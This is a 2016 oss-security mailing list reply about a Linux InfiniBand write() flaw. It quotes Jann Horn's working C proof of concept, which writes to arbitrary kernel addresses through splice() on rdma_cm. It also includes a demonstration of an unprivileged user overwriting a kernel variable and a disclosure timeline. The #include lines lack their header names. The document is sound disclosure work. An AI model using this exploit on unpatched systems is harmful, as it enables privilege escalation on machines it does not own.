Re: [oss-security] CVE Request: Linux: IB/security: Restrict use of the write() interface'

Yann Droneaud
2016-05-09T19:10:41Z

[Cc: oss-security-ZwoEplunGu1jrUoiu81ncdBPR1lH4CV8@public.gmane.org]

Hi,

Le lundi 09 mai 2016 à 20:02 +0200, Jann Horn a écrit :
> On Sat, May 07, 2016 at 08:19:46PM +0200, Yann Droneaud wrote:
> > Le samedi 07 mai 2016 à 06:22 +0200, Salvatore Bonaccorso a écrit :
> > >
> > >
> > > Jann Horn reported an issue in the infiniband stack. It has been
> > > fixed in v4.6-rc6 with commit
> > > e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3:
> > >
> > > https://git.kernel.org/linus/e6bd18f57aad1a2d1ef40e646d03ed0f2515c9e3
> > >
> > > >
> > > >
> > > > IB/security: Restrict use of the write() interface
> > > > The drivers/infiniband stack uses write() as a replacement for
> > > > bi-directional ioctl().  This is not safe. There are ways to
> > > > trigger write calls that result in the return structure that
> > > > is normally written to user space being shunted off to user
> > > > specified kernel memory instead.
> > > >
> > That's an interesting issue.
> >
> > I thought access_ok() done as part of copy_to_user() would protect
> > from such unwelcomed behavior. But it's not if the kernel invoke
> > write() handler outside of a user process.
> >
> > Anyway, as I don't see yet how to reproduce the issue, is there a
> > PoC available, I would be interested by a mean to trigger such
> > write().

> Here is my writeup of the issue that I made quite a while ago - the
> timeline is missing some of the more recent stuff, but meh.
>
> ======================================================
>
>
> Here is a PoC that can be used to clobber data at arbitrary
> writable kernel addresses if the rdma_ucm module is loaded (without
> actually needing Infiniband hardware to be present):
>
> =====
> #define _GNU_SOURCE
> #include
> #include
> #include
> #include
> #include
> #include
>
> #include
> #include
> #include
> #include
> #include
>
> #define RDMA_PS_TCP 0x0106
>
> // This method forces the kernel to write arbitrary data to the
> // target fd under set_fs(KERNEL_DS), bypassing address limit
> // checks in anything that extracts pointers from written data.
> int write_without_addr_limit(int fd, char *buf, size_t len) {
>   int pipefds[2];
>   if (pipe(pipefds))
>     return -1;
>   ssize_t len_ = write(pipefds[1], buf, len);
>   if (len == -1)
>     return -1;
>   int res = splice(pipefds[0], NULL, fd, NULL, len_, 0);
>   int errno_ = errno;
>   close(pipefds[0]);
>   close(pipefds[1]);
>   errno = errno_;
>   return res;
> }
>
> int clobber_kaddr(unsigned long kaddr) {
>   // open infiniband fd
>   int fd = open("/dev/infiniband/rdma_cm", O_RDWR);
>   if (fd == -1)
>     err(1, "unable to open /dev/infiniband/rdma_cm - maybe the RDMA kernel module isn't loaded?");
>
>   // craft malicious write buffer
>   // structure:
>   //   struct rdma_ucm_cmd_hdr hdr
>   //   struct rdma_ucm_create_id cmd
>   char buf[sizeof(struct rdma_ucm_cmd_hdr) + sizeof(struct rdma_ucm_create_id)];
>   struct rdma_ucm_cmd_hdr *hdr = (void*)buf;
>   struct rdma_ucm_create_id *cmd = (void*)(buf + sizeof(struct rdma_ucm_cmd_hdr));
>   hdr->cmd = RDMA_USER_CM_CMD_CREATE_ID;
>   hdr->in = 0;
>   hdr->out = sizeof(struct rdma_ucm_create_id_resp);
>   cmd->ps = RDMA_PS_TCP;
>   cmd->response = kaddr;
>
>   int res = write_without_addr_limit(fd, buf, sizeof(buf));
>   int errno_ = errno;
>   close(fd);
>   errno = errno_;
>   return res;
> }
>
> int main(int argc, char **argv) {
>   if (argc != 2)
>     errx(1, "want one argument (kernel address to clobber)");
>   char *endp;
>   unsigned long kaddr = strtoul(argv[1], &endp, 0);
>   if (kaddr == ULONG_MAX || *endp || endp == argv[1])
>     errx(1, "bad input number");
>
>   int r = clobber_kaddr(kaddr);
>   if (r >= 0) {
>     printf("that probably worked? clobber_kaddr(0x%lx)=%d\n", kaddr, r);
>     return 0;
>   } else {
>     printf("failed: %m\n");
>     return 1;
>   }
> }

Is this only achievable through splice() ?

> =====
>
> And here is an example that shows that this indeed works, tested
> on a Debian distro kernel:
>
> First, as root (warning: this will make the currently running system
> exploitable):
> root@debian:~# modprobe rdma_ucm
>
> Now, as attacker:
> user@debian:~$ cat /proc/sys/vm/swappiness
> 60
> user@debian:~$ ls -l /dev/infiniband/rdma_cm
> crw-rw-rw- 1 root root 10, 59 Jan  9 23:07 /dev/infiniband/rdma_cm
> user@debian:~$ gdb -q -ex 'print &vm_swappiness' -ex quit
> /usr/lib/debug/boot/vmlinux-$(uname -r)
> Reading symbols from /usr/lib/debug/boot/vmlinux-3.16.0-4-
> amd64...done.
> $1 = (int *) 0xffffffff81861760 <vm_swappiness>
> user@debian:~$ gcc -Wall -std=gnu99 -o infiniwrite infiniwrite.c
> user@debian:~$ ./infiniwrite 0xffffffff81861760
> that probably worked? clobber_kaddr(0xffffffff81861760)=32
> user@debian:~$ cat /proc/sys/vm/swappiness
> 0
>
> As you can see, the vm_swappiness variable in kernelspace was
> overwritten by an unprivileged userspace process.
>
> Timeline:
> 2015-09-11 initial report to security-DgEjT+Ai2ygdnm+yROfE0A@public.gmane.org and infiniband maintainers;
>         exploitability isn't entirely clear to me yet
> 2015-09-11 infiniband maintainer responds, but apparently doesn't see an issue
> 2015-12-26 I figure out the splice trick and ask the infiniband maintainers to
>         fix the issue
> 2015-12-26 Andy Lutomirski asks the infiniband maintainers to fix the issue and
>         break the ABI if necessary
> 2016-01-25 I send the PoC contained in this message to security@kernel.org and
>         the infiniband maintainers and ask them again to fix the issue.
>

Thanks a lot !

Regards.

--
Yann Droneaud
OPTEYA